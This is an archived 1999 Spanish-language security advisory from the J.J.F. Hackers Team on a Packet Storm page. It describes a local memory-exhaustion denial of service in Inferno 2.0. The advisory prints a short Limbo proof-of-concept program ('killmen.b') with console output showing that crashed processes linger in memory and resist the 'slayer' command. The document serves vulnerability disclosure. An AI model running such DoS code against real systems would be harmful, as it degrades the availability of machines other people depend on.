what you don't know can hurt you
Home Files News &[SERVICES_TAB]About Contact Add New

InfernoJJF.txt

InfernoJJF.txt
Posted Aug 17, 1999
Authored by J.J.F

A denial of service problem has been found in Inferno 2.0. A program written in Limbo can produce a denial of service consuming all the memory of the computer. The Inferno's commands to prevent this DoS are not able to stop this attack. (Advisory in Spanish).

tags | exploit, denial of service
SHA-256 | 034943383f935c92f13116d753ee6b6c045acd0844d27f0837cbc1eedebcfacf

InfernoJJF.txt

Change Mirror Download


- J.J.F. / Hackers Team - Security Advisory
=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=

Fecha: 18/1/1999
Autor: Conde Vampiro
URL: http://www.jjf.org
Aplicacion:
Sistema Operativo: Inferno 2.0 en plataforma Windows.
(Posiblemente tambien estan afectadas todas
las plataformas que corran Inferno.)
Peligrosidad: Un usuario puede producir un DoS (Denegacion de Servicio)
en su memoria.

-=-=-=-=-=-=-=-=
Introduccion
-=-=-=-=-=-=-=-=

Mediante un programa escrito en Limbo se puede producir una denegacion
de servicio (DoS) consumiendo toda la memoria. Incluso los comandos destinados
a evitar esto en Inferno son incapaces de quitarlos.

-=-=-=-=-=-=-=-=
En Detalle
-=-=-=-=-=-=-=-=

Utilizando el siguiente programa escrito en Limbo, podemos ir ocupando
toda la memoria en la plataforma donde estemos corriendo Inferno.

------------ Codigo Fuente ---------------------------------------------------

#
# FILE: killmen.b
# DATE: 11/10/98
# CODER: Conde Vampiro of - J.J.F. / Hackers Team -
# ABSTRACT: A DoS (Denial of service) in Limbo for Inferno O.S
#
# http://www.jjf.org - J.J.F. / Hackers Team -

implement killmen;

include "sys.m";
sys: Sys;
include "draw.m";

i : int;
men : con "DoS by Conde Vampiro";
died := array[0] of int;
kill := array[0] of int;

killmen: module {
init: fn(ctxt: ref Draw-> Context, nil: list of string);
};

init (ctxt: ref Draw-> Context, nil: list of string) {
sys = load Sys Sys->PATH;
sys->print("%s\n\n", men);
for (i:=0;i<100;i++) {
died[i]=kill[i];
}
}

------------ FIN -------------------------------------------------------------

Si un usuario ejecuta este programa en la consola del Inferno, se
producira el siguiente error:

colmillo$ killmen
DoS by Conde Vampiro

[killmen] Broken: "array bounds error"
17 "killmen":array bounds error
colmillo$

Podemos observar que el programa killmen ha producido un error y el
shell nos muestra el pid, en este caso 17. Si ejecutamos el comando 'ps',
nos mostrara el siguiente resultado:

colmillo$ ps
1 1 Conde Vampiro release 1K Sh[$Sys]
6 6 inferno alt 19K Wm
7 6 inferno release 4K Wm[$Sys]
8 6 inferno release 4K Wm[$Sys]
11 10 inferno recv 16K Plumb
12 10 inferno alt 16K Plumb
13 10 inferno alt 16K Plumb
17 1 Conde Vampiro broken 10K killmen
18 1 Conde Vampiro ready 1K Ps[$Sys]
colmillo$

El programa killmen sigue estando en memoria, aunque haya producido un
error. Si ejecutamos el programa durante un rato, ira consumiendo la
memoria, esto se puede hacer facilmente utizando Mash, el shell script de
Inferno.

Incluso, si el administrador del sistema no ha ejecutado el entorno de
ventana de Inferno o no ha linkado el comando 'ps' al directorio /prog, el
programa killmen al ejecutarse se queda oculto ya que el 'ps' no mostrara
ningun proceso en memoria, pero realmente si que esta ocupando memoria.

El comando 'slayer' destinado a destruir los procesos "broken"
es incapaz de quitar de la memoria a killmen. Si nos dirigimos al directorio
/prog podemos ver todos los procesos en forma de ficheros:

colmillo$ cd /prog
colmillo$ ls -l
dr-xr-xr-x p 0 Conde Vampiro Conde Vampiro 0 Jan 18 17:53 1
dr-xr-xr-x p 0 inferno Conde Vampiro 0 Jan 18 17:53 11
dr-xr-xr-x p 0 inferno Conde Vampiro 0 Jan 18 17:53 12
dr-xr-xr-x p 0 inferno Conde Vampiro 0 Jan 18 17:53 13
dr-xr-xr-x p 0 Conde Vampiro Conde Vampiro 0 Jan 18 17:53 17
dr-xr-xr-x p 0 Conde Vampiro Conde Vampiro 0 Jan 18 17:53 22
dr-xr-xr-x p 0 inferno Conde Vampiro 0 Jan 18 17:53 6
dr-xr-xr-x p 0 inferno Conde Vampiro 0 Jan 18 17:53 7
dr-xr-xr-x p 0 inferno Conde Vampiro 0 Jan 18 17:53 8
colmillo$

Los procesos 17 y 22 son el programa killmen que siguen estando en
memoria y cada vez que se ejecute se ira creando un nuevo proceso "broken".

-=-=-=-=-=-=-=-=
Byes All
conde@jjf.org

http://www.jjf.org
- J.J.F. / Hackers Team - Security Advisory
=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
Login or Register to add favorites

File Archive:

April 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Apr 1st
    10 Files
  • 2
    Apr 2nd
    26 Files
  • 3
    Apr 3rd
    40 Files
  • 4
    Apr 4th
    6 Files
  • 5
    Apr 5th
    26 Files
  • 6
    Apr 6th
    0 Files
  • 7
    Apr 7th
    0 Files
  • 8
    Apr 8th
    22 Files
  • 9
    Apr 9th
    14 Files
  • 10
    Apr 10th
    10 Files
  • 11
    Apr 11th
    13 Files
  • 12
    Apr 12th
    14 Files
  • 13
    Apr 13th
    0 Files
  • 14
    Apr 14th
    0 Files
  • 15
    Apr 15th
    30 Files
  • 16
    Apr 16th
    10 Files
  • 17
    Apr 17th
    22 Files
  • 18
    Apr 18th
    45 Files
  • 19
    Apr 19th
    8 Files
  • 20
    Apr 20th
    0 Files
  • 21
    Apr 21st
    0 Files
  • 22
    Apr 22nd
    11 Files
  • 23
    Apr 23rd
    68 Files
  • 24
    Apr 24th
    23 Files
  • 25
    Apr 25th
    0 Files
  • 26
    Apr 26th
    0 Files
  • 27
    Apr 27th
    0 Files
  • 28
    Apr 28th
    0 Files
  • 29
    Apr 29th
    0 Files
  • 30
    Apr 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close